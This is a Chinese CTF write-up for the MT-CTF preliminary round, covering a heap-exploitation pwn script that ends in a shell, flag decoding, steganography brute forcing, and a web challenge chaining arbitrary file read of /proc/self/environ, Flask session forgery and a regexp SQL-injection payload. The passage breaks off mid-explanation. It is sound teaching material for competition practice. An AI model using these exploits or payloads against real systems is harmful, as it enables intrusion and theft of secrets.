高校挑战赛 | MT-CTF线上初赛WriteUp
美团网络安全高校挑战赛MT-CTF初赛已于上周六结束,我们精选了4道赛题的解题思路,和大家一起学习~
Pwn:blindbox
分析过程
分析程序可以发现第一部分mmap出来的内存可以用来构造堆布局,因为这块内存的地址是能够知道的,并且在程序开始能够写入一些内容。
程序程序在正常分配堆块时能够分配的大小只有三种,并且是通过calloc分配,也就是不从tcache中取堆块。但是有一次malloc的机会,因此可以利用这次malloc从tcache取堆块。
漏洞可以进行uaf,在堆块释放后仍可以编辑和查看。但是在查看进行了过滤,不能输出带有0x7f的内容,因此这就增大了直接泄露libc地址的难度。
利用流程,先布置合适的布局,修改small bin让其bk指向mmap内存的fake chunk,通过calloc不从tcache中取堆块的特征利用Tcache Stash Unlink
将fake chunk放到tcache中,利用仅有的一次malloc分配得到fake chunk,继续布置新的堆布局。再利用一次Tcache Stash Unlink
在偏移三字节的地方写入一个libc地址,然后就可以输出不带0x7f的libc地址了。有了libc地址再玩一个猜数字的游戏就可以get shell。
exp.py
#encoding:utf-8
from pwn import *
pwn_file = './ld-2.31.so --library-path ./ ./Blindbox'
p = process(pwn_file.split())
#context.log_level = 'debug'
libc = ELF('./libc-2.31.so')
p.recvuntil(b"Please tell me your name:\n")
p.send(p64(0) + p64(0x66666000-0x8) + p64(0) + p64(0))
p.recvuntil(b"lucky number?\n")
p.sendline(str(0x90).encode())
p.recvuntil(b"lucky number?\n")
p.sendline(str(0xa0).encode())
p.recvuntil(b"lucky number?\n")
p.sendline(str(0x140).encode())
randNum = [1804289383, 846930886, 1681692777, 1714636915, 1957747793, 424238335, 719885386, 1649760492]
def add(idx, num):
p.recvuntil(b">> ")
p.sendline(b'1')
p.recvuntil(b"want to choose\n")
p.sendline(str(num).encode())
p.recvuntil(b"Blindbox(1-3):")
p.sendline(str(idx).encode())
def dele(idx):
p.recvuntil(b">> ")
p.sendline(b'2')
p.recvuntil(b"Which index do you want to drop?\n")
p.sendline(str(idx).encode())
def show(idx):
p.recvuntil(b">> ")
p.sendline(b'3')
p.recvuntil(b"want to open?\n")
p.sendline(str(idx).encode())
def edit(idx, content):
p.recvuntil(b">> ")
p.sendline(b'4')
p.recvuntil(b"want to change?\n")
p.sendline(str(idx).encode())
p.recvuntil(b"New content:\n")
p.send(content)
def wish(content):
p.recvuntil(b">> ")
p.sendline(b'5')
p.recvuntil(b"your wish: ")
p.send(content)
def pay(key):
p.recvuntil(b">> ")
p.sendline(b'6')
for i in range(8):
p.recvuntil(b"Please guess>")
p.sendline(str(randNum[i]^key).encode())
for i in range(4):
add(1, 1)
dele(1)
for i in range(7):
add(1, 0x3)
dele(1)
add(1, 0x2)
dele(1)
add(1, 3)
add(2, 2)
dele(1)
add(1, 2)
add(1, 3)
add(2, 2)
dele(1)
add(1, 2)
add(1,2)
add(3,2)
dele(3)
dele(1)
add(1, 3)
add(2, 3)
dele(1)
add(1,2)
add(1,2)
edit(3, p64(0) + p64(0x66666000 - 0x10))
add(1, 1)
payload = p64(0xaf) + p64(0) + p64(0x66666008)
payload += p64(0x66666008 - 0x10) + p64(0x66666008 - 0x10 + 3) + p64(0)
payload += b'\x00' * 0x60
wish(payload)
add(1, 1)
show(1)
p.recvuntil(b'Blindbox: \x00\x00\x00')
main_arena = u64((p.recv(5) + b'\x7f').ljust(8, b'\x00'))
libc_base = main_arena - 0x1EBC70
print(hex(libc_base))
key = libc_base + libc.sym['system']
pay(key)
p.interactive()
分析过程
将二进制文件作为一个输入输出的黑盒进行分析。
输入一系列的字符观察输出。
可以很明显的看见,各字节的输入输出映射都是独立的。因此我们可以对输入至输出建立一个映射关系,写一个python脚本运行,提取出部分可见字符的映射关系,如下。
编写脚本将最初提供的output里的加密数据映射回输入即可。
exp.py
import string
# 0123456789abcdefghijklmnopqrstuvwxyz-{}
map_table = [
[0x40,0xce,0x45,0xbf,0x89,0x2d,0x1b,0xb4,0x26,0x9e,0x09,0x54,0xcc,0xa8,0x23,0x32,0x83,0xc7,0x21,0xaa,0xd3,0x90,0x02,0xbd,0xe2,0xbb,0xc3,0x36,0x51,0x7e,0x76,0x96,0xfc,0xe4,0x46,0xfc,0x44,0x8a,0x55,0x9d,0x3d,0x89,],
[0x83,0x0d,0x86,0x7c,0x4a,0xee,0xd8,0x77,0xe5,0x5d,0xca,0x97,0x0f,0x6b,0xe0,0xf1,0x40,0x04,0xe2,0x69,0x10,0x53,0xc1,0x7e,0x21,0x78,0x00,0xf5,0x92,0xbd,0xb5,0x55,0x3f,0x27,0x85,0x3f,0x87,0x49,0x96,0x5e,0xfe,0x4a,],
[0x67,0xe9,0x62,0x98,0xae,0x0a,0x3c,0x93,0x01,0xb9,0x2e,0x73,0xeb,0x8f,0x04,0x15,0xa4,0xe0,0x06,0x8d,0xf4,0xb7,0x25,0x9a,0xc5,0x9c,0xe4,0x11,0x76,0x59,0x51,0xb1,0xdb,0xc3,0x61,0xdb,0x63,0xad,0x72,0xba,0x1a,0xae,],
[0x87,0x09,0x82,0x78,0x4e,0xea,0xdc,0x73,0xe1,0x59,0xce,0x93,0x0b,0x6f,0xe4,0xf5,0x44,0x00,0xe6,0x6d,0x14,0x57,0xc5,0x7a,0x25,0x7c,0x04,0xf1,0x96,0xb9,0xb1,0x51,0x3b,0x23,0x81,0x3b,0x83,0x4d,0x92,0x5a,0xfa,0x4e,],
[0x5c,0xd2,0x59,0xa3,0x95,0x31,0x07,0xa8,0x3a,0x82,0x15,0x48,0xd0,0xb4,0x3f,0x2e,0x9f,0xdb,0x3d,0xb6,0xcf,0x8c,0x1e,0xa1,0xfe,0xa7,0xdf,0x2a,0x4d,0x62,0x6a,0x8a,0xe0,0xf8,0x5a,0xe0,0x58,0x96,0x49,0x81,0x21,0x95,],
[0xd2,0x5c,0xd7,0x2d,0x1b,0xbf,0x89,0x26,0xb4,0x0c,0x9b,0xc6,0x5e,0x3a,0xb1,0xa0,0x11,0x55,0xb3,0x38,0x41,0x02,0x90,0x2f,0x70,0x29,0x51,0xa4,0xc3,0xec,0xe4,0x04,0x6e,0x76,0xd4,0x6e,0xd6,0x18,0xc7,0x0f,0xaf,0x1b,],
[0x41,0xcf,0x44,0xbe,0x88,0x2c,0x1a,0xb5,0x27,0x9f,0x08,0x55,0xcd,0xa9,0x22,0x33,0x82,0xc6,0x20,0xab,0xd2,0x91,0x03,0xbc,0xe3,0xba,0xc2,0x37,0x50,0x7f,0x77,0x97,0xfd,0xe5,0x47,0xfd,0x45,0x8b,0x54,0x9c,0x3c,0x88,],
[0xde,0x50,0xdb,0x21,0x17,0xb3,0x85,0x2a,0xb8,0x00,0x97,0xca,0x52,0x36,0xbd,0xac,0x1d,0x59,0xbf,0x34,0x4d,0x0e,0x9c,0x23,0x7c,0x25,0x5d,0xa8,0xcf,0xe0,0xe8,0x08,0x62,0x7a,0xd8,0x62,0xda,0x14,0xcb,0x03,0xa3,0x17,],
[0x43,0xcd,0x46,0xbc,0x8a,0x2e,0x18,0xb7,0x25,0x9d,0x0a,0x57,0xcf,0xab,0x20,0x31,0x80,0xc4,0x22,0xa9,0xd0,0x93,0x01,0xbe,0xe1,0xb8,0xc0,0x35,0x52,0x7d,0x75,0x95,0xff,0xe7,0x45,0xff,0x47,0x89,0x56,0x9e,0x3e,0x8a,],
[0x56,0xd8,0x53,0xa9,0x9f,0x3b,0x0d,0xa2,0x30,0x88,0x1f,0x42,0xda,0xbe,0x35,0x24,0x95,0xd1,0x37,0xbc,0xc5,0x86,0x14,0xab,0xf4,0xad,0xd5,0x20,0x47,0x68,0x60,0x80,0xea,0xf2,0x50,0xea,0x52,0x9c,0x43,0x8b,0x2b,0x9f,],
[0xab,0x25,0xae,0x54,0x62,0xc6,0xf0,0x5f,0xcd,0x75,0xe2,0xbf,0x27,0x43,0xc8,0xd9,0x68,0x2c,0xca,0x41,0x38,0x7b,0xe9,0x56,0x09,0x50,0x28,0xdd,0xba,0x95,0x9d,0x7d,0x17,0x0f,0xad,0x17,0xaf,0x61,0xbe,0x76,0xd6,0x62,],
[0xee,0x60,0xeb,0x11,0x27,0x83,0xb5,0x1a,0x88,0x30,0xa7,0xfa,0x62,0x06,0x8d,0x9c,0x2d,0x69,0x8f,0x04,0x7d,0x3e,0xac,0x13,0x4c,0x15,0x6d,0x98,0xff,0xd0,0xd8,0x38,0x52,0x4a,0xe8,0x52,0xea,0x24,0xfb,0x33,0x93,0x27,],
[0xbf,0x31,0xba,0x40,0x76,0xd2,0xe4,0x4b,0xd9,0x61,0xf6,0xab,0x33,0x57,0xdc,0xcd,0x7c,0x38,0xde,0x55,0x2c,0x6f,0xfd,0x42,0x1d,0x44,0x3c,0xc9,0xae,0x81,0x89,0x69,0x03,0x1b,0xb9,0x03,0xbb,0x75,0xaa,0x62,0xc2,0x76,],
[0x07,0x89,0x02,0xf8,0xce,0x6a,0x5c,0xf3,0x61,0xd9,0x4e,0x13,0x8b,0xef,0x64,0x75,0xc4,0x80,0x66,0xed,0x94,0xd7,0x45,0xfa,0xa5,0xfc,0x84,0x71,0x16,0x39,0x31,0xd1,0xbb,0xa3,0x01,0xbb,0x03,0xcd,0x12,0xda,0x7a,0xce,],
[0x09,0x87,0x0c,0xf6,0xc0,0x64,0x52,0xfd,0x6f,0xd7,0x40,0x1d,0x85,0xe1,0x6a,0x7b,0xca,0x8e,0x68,0xe3,0x9a,0xd9,0x4b,0xf4,0xab,0xf2,0x8a,0x7f,0x18,0x37,0x3f,0xdf,0xb5,0xad,0x0f,0xb5,0x0d,0xc3,0x1c,0xd4,0x74,0xc0,],
[0x77,0xf9,0x72,0x88,0xbe,0x1a,0x2c,0x83,0x11,0xa9,0x3e,0x63,0xfb,0x9f,0x14,0x05,0xb4,0xf0,0x16,0x9d,0xe4,0xa7,0x35,0x8a,0xd5,0x8c,0xf4,0x01,0x66,0x49,0x41,0xa1,0xcb,0xd3,0x71,0xcb,0x73,0xbd,0x62,0xaa,0x0a,0xbe,],
[0xc1,0x4f,0xc4,0x3e,0x08,0xac,0x9a,0x35,0xa7,0x1f,0x88,0xd5,0x4d,0x29,0xa2,0xb3,0x02,0x46,0xa0,0x2b,0x52,0x11,0x83,0x3c,0x63,0x3a,0x42,0xb7,0xd0,0xff,0xf7,0x17,0x7d,0x65,0xc7,0x7d,0xc5,0x0b,0xd4,0x1c,0xbc,0x08,],
[0x01,0x8f,0x04,0xfe,0xc8,0x6c,0x5a,0xf5,0x67,0xdf,0x48,0x15,0x8d,0xe9,0x62,0x73,0xc2,0x86,0x60,0xeb,0x92,0xd1,0x43,0xfc,0xa3,0xfa,0x82,0x77,0x10,0x3f,0x37,0xd7,0xbd,0xa5,0x07,0xbd,0x05,0xcb,0x14,0xdc,0x7c,0xc8,],
[0xbd,0x33,0xb8,0x42,0x74,0xd0,0xe6,0x49,0xdb,0x63,0xf4,0xa9,0x31,0x55,0xde,0xcf,0x7e,0x3a,0xdc,0x57,0x2e,0x6d,0xff,0x40,0x1f,0x46,0x3e,0xcb,0xac,0x83,0x8b,0x6b,0x01,0x19,0xbb,0x01,0xb9,0x77,0xa8,0x60,0xc0,0x74,],
[0x46,0xc8,0x43,0xb9,0x8f,0x2b,0x1d,0xb2,0x20,0x98,0x0f,0x52,0xca,0xae,0x25,0x34,0x85,0xc1,0x27,0xac,0xd5,0x96,0x04,0xbb,0xe4,0xbd,0xc5,0x30,0x57,0x78,0x70,0x90,0xfa,0xe2,0x40,0xfa,0x42,0x8c,0x53,0x9b,0x3b,0x8f,],
[0x3b,0xb5,0x3e,0xc4,0xf2,0x56,0x60,0xcf,0x5d,0xe5,0x72,0x2f,0xb7,0xd3,0x58,0x49,0xf8,0xbc,0x5a,0xd1,0xa8,0xeb,0x79,0xc6,0x99,0xc0,0xb8,0x4d,0x2a,0x05,0x0d,0xed,0x87,0x9f,0x3d,0x87,0x3f,0xf1,0x2e,0xe6,0x46,0xf2,],
[0x14,0x9a,0x11,0xeb,0xdd,0x79,0x4f,0xe0,0x72,0xca,0x5d,0x00,0x98,0xfc,0x77,0x66,0xd7,0x93,0x75,0xfe,0x87,0xc4,0x56,0xe9,0xb6,0xef,0x97,0x62,0x05,0x2a,0x22,0xc2,0xa8,0xb0,0x12,0xa8,0x10,0xde,0x01,0xc9,0x69,0xdd,],
[0x78,0xf6,0x7d,0x87,0xb1,0x15,0x23,0x8c,0x1e,0xa6,0x31,0x6c,0xf4,0x90,0x1b,0x0a,0xbb,0xff,0x19,0x92,0xeb,0xa8,0x3a,0x85,0xda,0x83,0xfb,0x0e,0x69,0x46,0x4e,0xae,0xc4,0xdc,0x7e,0xc4,0x7c,0xb2,0x6d,0xa5,0x05,0xb1,],
[0xdb,0x55,0xde,0x24,0x12,0xb6,0x80,0x2f,0xbd,0x05,0x92,0xcf,0x57,0x33,0xb8,0xa9,0x18,0x5c,0xba,0x31,0x48,0x0b,0x99,0x26,0x79,0x20,0x58,0xad,0xca,0xe5,0xed,0x0d,0x67,0x7f,0xdd,0x67,0xdf,0x11,0xce,0x06,0xa6,0x12,],
[0xec,0x62,0xe9,0x13,0x25,0x81,0xb7,0x18,0x8a,0x32,0xa5,0xf8,0x60,0x04,0x8f,0x9e,0x2f,0x6b,0x8d,0x06,0x7f,0x3c,0xae,0x11,0x4e,0x17,0x6f,0x9a,0xfd,0xd2,0xda,0x3a,0x50,0x48,0xea,0x50,0xe8,0x26,0xf9,0x31,0x91,0x25,],
[0x15,0x9b,0x10,0xea,0xdc,0x78,0x4e,0xe1,0x73,0xcb,0x5c,0x01,0x99,0xfd,0x76,0x67,0xd6,0x92,0x74,0xff,0x86,0xc5,0x57,0xe8,0xb7,0xee,0x96,0x63,0x04,0x2b,0x23,0xc3,0xa9,0xb1,0x13,0xa9,0x11,0xdf,0x00,0xc8,0x68,0xdc,],
[0xe7,0x69,0xe2,0x18,0x2e,0x8a,0xbc,0x13,0x81,0x39,0xae,0xf3,0x6b,0x0f,0x84,0x95,0x24,0x60,0x86,0x0d,0x74,0x37,0xa5,0x1a,0x45,0x1c,0x64,0x91,0xf6,0xd9,0xd1,0x31,0x5b,0x43,0xe1,0x5b,0xe3,0x2d,0xf2,0x3a,0x9a,0x2e,],
[0x04,0x8a,0x01,0xfb,0xcd,0x69,0x5f,0xf0,0x62,0xda,0x4d,0x10,0x88,0xec,0x67,0x76,0xc7,0x83,0x65,0xee,0x97,0xd4,0x46,0xf9,0xa6,0xff,0x87,0x72,0x15,0x3a,0x32,0xd2,0xb8,0xa0,0x02,0xb8,0x00,0xce,0x11,0xd9,0x79,0xcd,],
[0xcb,0x45,0xce,0x34,0x02,0xa6,0x90,0x3f,0xad,0x15,0x82,0xdf,0x47,0x23,0xa8,0xb9,0x08,0x4c,0xaa,0x21,0x58,0x1b,0x89,0x36,0x69,0x30,0x48,0xbd,0xda,0xf5,0xfd,0x1d,0x77,0x6f,0xcd,0x77,0xcf,0x01,0xde,0x16,0xb6,0x02,],
[0xd6,0x58,0xd3,0x29,0x1f,0xbb,0x8d,0x22,0xb0,0x08,0x9f,0xc2,0x5a,0x3e,0xb5,0xa4,0x15,0x51,0xb7,0x3c,0x45,0x06,0x94,0x2b,0x74,0x2d,0x55,0xa0,0xc7,0xe8,0xe0,0x00,0x6a,0x72,0xd0,0x6a,0xd2,0x1c,0xc3,0x0b,0xab,0x1f,],
[0xd9,0x57,0xdc,0x26,0x10,0xb4,0x82,0x2d,0xbf,0x07,0x90,0xcd,0x55,0x31,0xba,0xab,0x1a,0x5e,0xb8,0x33,0x4a,0x09,0x9b,0x24,0x7b,0x22,0x5a,0xaf,0xc8,0xe7,0xef,0x0f,0x65,0x7d,0xdf,0x65,0xdd,0x13,0xcc,0x04,0xa4,0x10,],
[0x7c,0xf2,0x79,0x83,0xb5,0x11,0x27,0x88,0x1a,0xa2,0x35,0x68,0xf0,0x94,0x1f,0x0e,0xbf,0xfb,0x1d,0x96,0xef,0xac,0x3e,0x81,0xde,0x87,0xff,0x0a,0x6d,0x42,0x4a,0xaa,0xc0,0xd8,0x7a,0xc0,0x78,0xb6,0x69,0xa1,0x01,0xb5,],
[0xb1,0x3f,0xb4,0x4e,0x78,0xdc,0xea,0x45,0xd7,0x6f,0xf8,0xa5,0x3d,0x59,0xd2,0xc3,0x72,0x36,0xd0,0x5b,0x22,0x61,0xf3,0x4c,0x13,0x4a,0x32,0xc7,0xa0,0x8f,0x87,0x67,0x0d,0x15,0xb7,0x0d,0xb5,0x7b,0xa4,0x6c,0xcc,0x78,],
[0xf8,0x76,0xfd,0x07,0x31,0x95,0xa3,0x0c,0x9e,0x26,0xb1,0xec,0x74,0x10,0x9b,0x8a,0x3b,0x7f,0x99,0x12,0x6b,0x28,0xba,0x05,0x5a,0x03,0x7b,0x8e,0xe9,0xc6,0xce,0x2e,0x44,0x5c,0xfe,0x44,0xfc,0x32,0xed,0x25,0x85,0x31,],
[0xf2,0x7c,0xf7,0x0d,0x3b,0x9f,0xa9,0x06,0x94,0x2c,0xbb,0xe6,0x7e,0x1a,0x91,0x80,0x31,0x75,0x93,0x18,0x61,0x22,0xb0,0x0f,0x50,0x09,0x71,0x84,0xe3,0xcc,0xc4,0x24,0x4e,0x56,0xf4,0x4e,0xf6,0x38,0xe7,0x2f,0x8f,0x3b,],
[0x9e,0x10,0x9b,0x61,0x57,0xf3,0xc5,0x6a,0xf8,0x40,0xd7,0x8a,0x12,0x76,0xfd,0xec,0x5d,0x19,0xff,0x74,0x0d,0x4e,0xdc,0x63,0x3c,0x65,0x1d,0xe8,0x8f,0xa0,0xa8,0x48,0x22,0x3a,0x98,0x22,0x9a,0x54,0x8b,0x43,0xe3,0x57,],
[0x9c,0x12,0x99,0x63,0x55,0xf1,0xc7,0x68,0xfa,0x42,0xd5,0x88,0x10,0x74,0xff,0xee,0x5f,0x1b,0xfd,0x76,0x0f,0x4c,0xde,0x61,0x3e,0x67,0x1f,0xea,0x8d,0xa2,0xaa,0x4a,0x20,0x38,0x9a,0x20,0x98,0x56,0x89,0x41,0xe1,0x55,],
[0x65,0xeb,0x60,0x9a,0xac,0x08,0x3e,0x91,0x03,0xbb,0x2c,0x71,0xe9,0x8d,0x06,0x17,0xa6,0xe2,0x04,0x8f,0xf6,0xb5,0x27,0x98,0xc7,0x9e,0xe6,0x13,0x74,0x5b,0x53,0xb3,0xd9,0xc1,0x63,0xd9,0x61,0xaf,0x70,0xb8,0x18,0xac,],
[0xbb,0x35,0xbe,0x44,0x72,0xd6,0xe0,0x4f,0xdd,0x65,0xf2,0xaf,0x37,0x53,0xd8,0xc9,0x78,0x3c,0xda,0x51,0x28,0x6b,0xf9,0x46,0x19,0x40,0x38,0xcd,0xaa,0x85,0x8d,0x6d,0x07,0x1f,0xbd,0x07,0xbf,0x71,0xae,0x66,0xc6,0x72,]
]
plantext_table = string.digits + string.ascii_lowercase + "-{}"
enc = [
0x77,0x9a,0xae,0x3e,0xac,0x6a,0x1b,0xb5,0x11,0x9e,0xa7,0xab,0x33,0x74,0x35,0xf5,0xca,0xc7,0xfd,0xbc,0x2c,0x02,0xac,0x61,0x21,0xba,0x00,0x7f,0x8d,0x37,0xb5,0x8a,0xfd,0xf8,0x85,0x62,0x45,0xcd,0x92,0x8b,0xaf,0x72
]
flag = ""
for i in range(len(enc)):
for n in range(len(map_table)):
if enc[i] == map_table[n][i]:
flag += plantext_table[n]
print(flag)
Misc: Boom
KeePass加密
识别Database文件
访问https://keepass.info/ 下载keepass,空密码查看
得到:kqucm2u2ZIrq4DLyER2C
解压压缩包,得到一张图片,有个压缩包,rar格式的,但是文件头被抹掉了,复原一下,补上52617221
把压缩包提出来,然后把图片中压缩包地方给删掉。
stegpy隐写爆破
通过stegsolve可以确定是颜色通道最低两位的隐写,而stegpy则是这种隐写方式。
解密需要密码,可以写脚本交互爆破,同时根据图片名boom,也联想到爆破。
#!/usr/bin/env python3
# Module for processing images, audios and the least significant bits.
import numpy
from PIL import Image
from . import crypt
MAGIC_NUMBER = b'stegv3'
class HostElement:
""" This class holds information about a host element. """
def __init__(self, filename):
self.filename = filename
self.format = filename[-3:]
self.header, self.data = get_file(filename)
def save(self):
self.filename = '_' + self.filename
if self.format.lower() == 'wav':
sound = numpy.concatenate((self.header, self.data))
sound.tofile(self.filename)
elif self.format.lower() == 'gif':
gif = []
for frame, palette in zip(self.data, self.header[0]):
image = Image.fromarray(frame)
image.putpalette(palette)
gif.append(image)
gif[0].save(self.filename, save_all=True, append_images = gif[1:], loop=0, duration=self.header[1])
else:
if not self.filename.lower().endswith(('png', 'bmp', 'webp')):
print("Host has a lossy format and will be converted to PNG.")
self.filename = self.filename[:-3] + 'png'
image = Image.fromarray(self.data)
image.save(self.filename, lossless=True, minimize_size=True, optimize=True)
print("Information encoded in {}.".format(self.filename))
def insert_message(self, message, bits=2, parasite_filename=None, password=None):
raw_message_len = len(message).to_bytes(4, 'big')
formatted_message = format_message(message, raw_message_len, parasite_filename)
if password:
formatted_message = crypt.encrypt_info(password, formatted_message)
self.data = encode_message(self.data, formatted_message, bits)
def read_message(self, password=None):
msg = decode_message(self.data)
if password:
try:
salt = bytes(msg[:16])
msg = crypt.decrypt_info(password, bytes(msg[16:]), salt)
except:
return("Wrong password.")
check_magic_number(msg)
msg_len = int.from_bytes(bytes(msg[6:10]), 'big')
filename_len = int.from_bytes(bytes(msg[10:11]), 'big')
start = filename_len + 11
end = start + msg_len
end_filename = filename_len + 11
if(filename_len > 0):
filename = '_' + bytes(msg[11:end_filename]).decode('utf-8')
else:
text = bytes(msg[start:end]).decode('utf-8')
print(text)
return
with open(filename, 'wb') as f:
f.write(bytes(msg[start:end]))
print('File {} succesfully extracted from {}'.format(filename, self.filename))
def free_space(self, bits=2):
shape = self.data.shape
self.data.shape = -1
free = self.data.size * bits // 8
self.data.shape = shape
self.free = free
return free
def print_free_space(self, bits=2):
free = self.free_space(bits)
print('File: {}, free: (bytes) {:,}, encoding: 4 bit'.format(self.filename, free, bits))
def get_file(filename):
''' Returns data from file in a list with the header and raw data. '''
if filename.lower().endswith('wav'):
content = numpy.fromfile(filename, dtype=numpy.uint8)
content = content[:10000], content[10000:]
elif filename.lower().endswith('gif'):
image = Image.open(filename)
frames = []
palettes = []
try:
while True:
frames.append(numpy.array(image))
palettes.append(image.getpalette())
image.seek(image.tell()+1)
except EOFError:
pass
content = [palettes, image.info['duration']], numpy.asarray(frames)
else:
image = Image.open(filename)
if image.mode != 'RGB':
image = image.convert('RGB')
content = None, numpy.array(image)
return content
def format_message(message, msg_len, filename=None):
if not filename: # text
message = MAGIC_NUMBER + msg_len + (0).to_bytes(1, 'big') + message
else:
filename = filename.encode('utf-8')
filename_len = len(filename).to_bytes(1, 'big')
message = MAGIC_NUMBER + msg_len + filename_len + filename + message
return message;
def encode_message(host_data, message, bits):
''' Encodes the byte array in the image numpy array. '''
shape = host_data.shape
host_data.shape = -1, # convert to 1D
uneven = 0
divisor = 8 // bits
print("Host dimension: {:,} bytes".format(host_data.size))
print("Message size: {:,} bytes".format(len(message)))
print("Maximum size: {:,} bytes".format(host_data.size // divisor))
check_message_space(host_data.size // divisor, len(message))
if(host_data.size % divisor != 0): # Hacky way to deal with pixel arrays that cannot be divided evenly
uneven = 1
original_size = host_data.size
host_data = numpy.resize(host_data, host_data.size + (divisor - host_data.size % divisor))
msg = numpy.zeros(len(host_data) // divisor, dtype=numpy.uint8)
msg[:len(message)] = list(message)
host_data[:divisor*len(message)] &= 256 - 2 ** bits # clear last bit(s)
for i in range(divisor):
host_data[i::divisor] |= msg >> bits*i & (2 ** bits - 1) # copy bits to host_data
operand = (0 if (bits == 1) else (16 if (bits == 2) else 32))
host_data[0] = (host_data[0] & 207) | operand # 5th and 6th bits = log_2(bits)
if uneven:
host_data = numpy.resize(host_data, original_size)
host_data.shape = shape # restore the 3D shape
return host_data
def check_message_space(max_message_len, message_len):
''' Checks if there's enough space to write the message. '''
if(max_message_len < message_len):
print('You have too few colors to store that message. Aborting.')
exit(-1)
else:
print('Ok.')
def decode_message(host_data):
''' Decodes the image numpy array into a byte array. '''
host_data.shape = -1, # convert to 1D
bits = 2 ** ((host_data[0] & 48) >> 4) # bits = 2 ^ (5th and 6th bits)
divisor = 8 // bits
if(host_data.size % divisor != 0):
host_data = numpy.resize(host_data, host_data.size + (divisor - host_data.size % divisor))
msg = numpy.zeros(len(host_data) // divisor, dtype=numpy.uint8)
for i in range(divisor):
msg |= (host_data[i::divisor] & (2 ** bits - 1)) << bits*i
return msg
def check_magic_number(msg):
if bytes(msg[0:6]) != MAGIC_NUMBER:
print(bytes(msg[:6]))
print('ERROR! No encoded info found!')
exit(-1)
if __name__ == '__main__':
message = 'hello'.encode('utf-8')
host = HostElement('gif.gif')
host.insert_message(message, bits=4)
host.save()
此脚本为原python库 stegpy脚本修改,主要改动读取隐写信息函数read_message一段,命名为lsb2.py,放在stegpy库目录下/usr/local/lib/python3.6/dist-packages/stegpy
网上找常见的弱口令字典进行爆破
#coding=utf-8
from stegpy import lsb2
host = lsb2.HostElement('flag.png')
dic = open('password1.txt').readlines()
for i in range(len(dic)):
tmp = host.read_message(dic[i][:-1])
if tmp != "Wrong password.":
break
else:
print(i, dic[i][:-1])
爆破得到密码是123123@@@
隐写内容是783d793c313030
解开压缩包得到一张图片,无法正常观看。
crc校验
很明显是crc校验错误,爆破图片的正确宽高。
import zlib
import struct
filename = 'flag.png'
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(),16)
data = bytearray(all_b[12:29])
n = 4095 #理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
for w in range(n): #高和宽一起爆破
width = bytearray(struct.pack('>i', w)) #q为8字节,i为4字节,h为2字节
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("宽为:",end="")
print(width)
print("高为:",end="")
print(height)
exit(0)
得到正确宽高后,使用winhex修改后得到
一个明显置乱后的图像,存在很明显的阿诺德置乱特征:
有了加密变换,还需要使用对应的解密变换,也就是逆变换。逆变换就是“求矩阵的逆”,对2x2的矩阵求逆就能得到下面的逆变换矩阵:
Arnold置乱算法
谷歌上搜置乱算法可以搜到一个叫做Arnold(阿诺德)置乱法的方法,之前得到的隐写内容783d793c313030
转字符串为x=y<100
,第一个参数可以通过增大还原次数,后两个参数需要根据提示爆破。
https://en.wikipedia.org/wiki/Arnold%27s_cat_map
所需库先自行安装
pip3 install numpy
pip3 install opencv-python
pip3 install matplotlib
pip3 install *scikit-image*
根据提示x=y<100,编写解密脚本
import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2
def arnold_decode(image, shuffle_times, a, b):
decode_image = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h # 或N=w
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
decode_image[new_x, new_y] = image[ori_x, ori_y]
cv2.imshow("image",decode_image)
cv2.waitKey(10)
cv2.imwrite(i,decode_image)
return decode_image
final = imread('flag.png')
for z in range(0,100):
i = str(z) + '.png'
arnold_decode(final, 10, z,z)
爆破到30时得到flag
Web: EasySQL
题目是刚开始是一个登录页面:
可以选择注册,随便注册一个用户后登录进去:
在注册的时候发现注册不了 admin 用户,可以猜测 admin 用户已经存在,尝试弱口令 admin/admin 成功登录 admin:
发现此时 home page 中的 profiles 的内容不一样了,我们可以猜测到源码根据登陆的用户名在数据库中查询不同的profiles。
我们查看并解密 flask session,得到如下内容:
.eJwdzEEOwjAMRNGrWF5XHKA7jhKoGxu1cWVPhCrE3UnZ_tG8D1tuXq3xjOgy8WFPnvlRWpO4vY7KI4WvtkmOfl92a5aIAg_qKTHR26AEFVKrKgkqHephOAn-H_JMyD6k6zCUcin8_QG_kSwq.YZCOdg.76OBKiZRQkFj4EzAiF9ymsPKp2M
可以在解密后的session中看到几个主要的属性,其中就有user和profiles,我们猜测这里的 user 可能会存在sql注入,通过在user属性处设置payload来对mysql进行注入。
但是要从session里进行注入必须先成功伪造session,也就是说必须先获取到 session SECRET_KEY。
我们看到,sesison中还有一个属性 pic,标志了home page中显示的图片,并且我们查看源码可以看到图片是通过base64的形式显示的,而且还加载了一个 images.js:
查看 images.js的代码:
$(document).ready(function () {
var datas = new Object();
datas.islogin = true;
datas.pic = "banner.jpg";
var data = JSON.stringify(datas)
$.ajax({
url: "/images",
type: "POST",
data: data,
success: function (msg) {
if(location.href.indexOf("#reloaded")==-1){
location.href=location.href+"#reloaded";
location.reload();
}
}
})
})
可以发现 home page 中的 images.js 是通过向 /images 路由发送 json 请求来设置显示的图片的,我们可以抓包来修改发送的 pic 从而实现任意文件读取。
如下抓包:
并将 pic 改为要读取的数据。这里我们尝试在 /proc/self/environ 中读取 SECRET_KEY:获取set-cookie中的session,使用这个新的session在burpsuite中去重新访问/home:
如上图,此时便成功读取到了 /proc/self/environ 的内容:
得到SECRET_KEY=ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada,还得到一个hint:HINT_IS_HERE=Mysql 8, and I executed CREATE DATABASE ctf DEFAULT COLLATE utf8_general_ci。
然后我们便可以尝试伪造session并进行注入了。经尝试,user 处过滤了以下关键字:
union|\"|\\|#|order| |and|&|update|value|,|insert|chr|mid|ascii|substr|left|exec|if|sleep|join|truncate|outfile|lpad|rpad|-|mysql|limit
不过我们还是可以尝试 regexp 注入。
我们知道 regexp 注入的常用方法类似于以下payload:
user=1'||(select(flag)from(flag))/**/regexp/**/binary/**/0x7c#
// 加上binary关键字用于区分大小写
进入sql查询语句后就变为了:
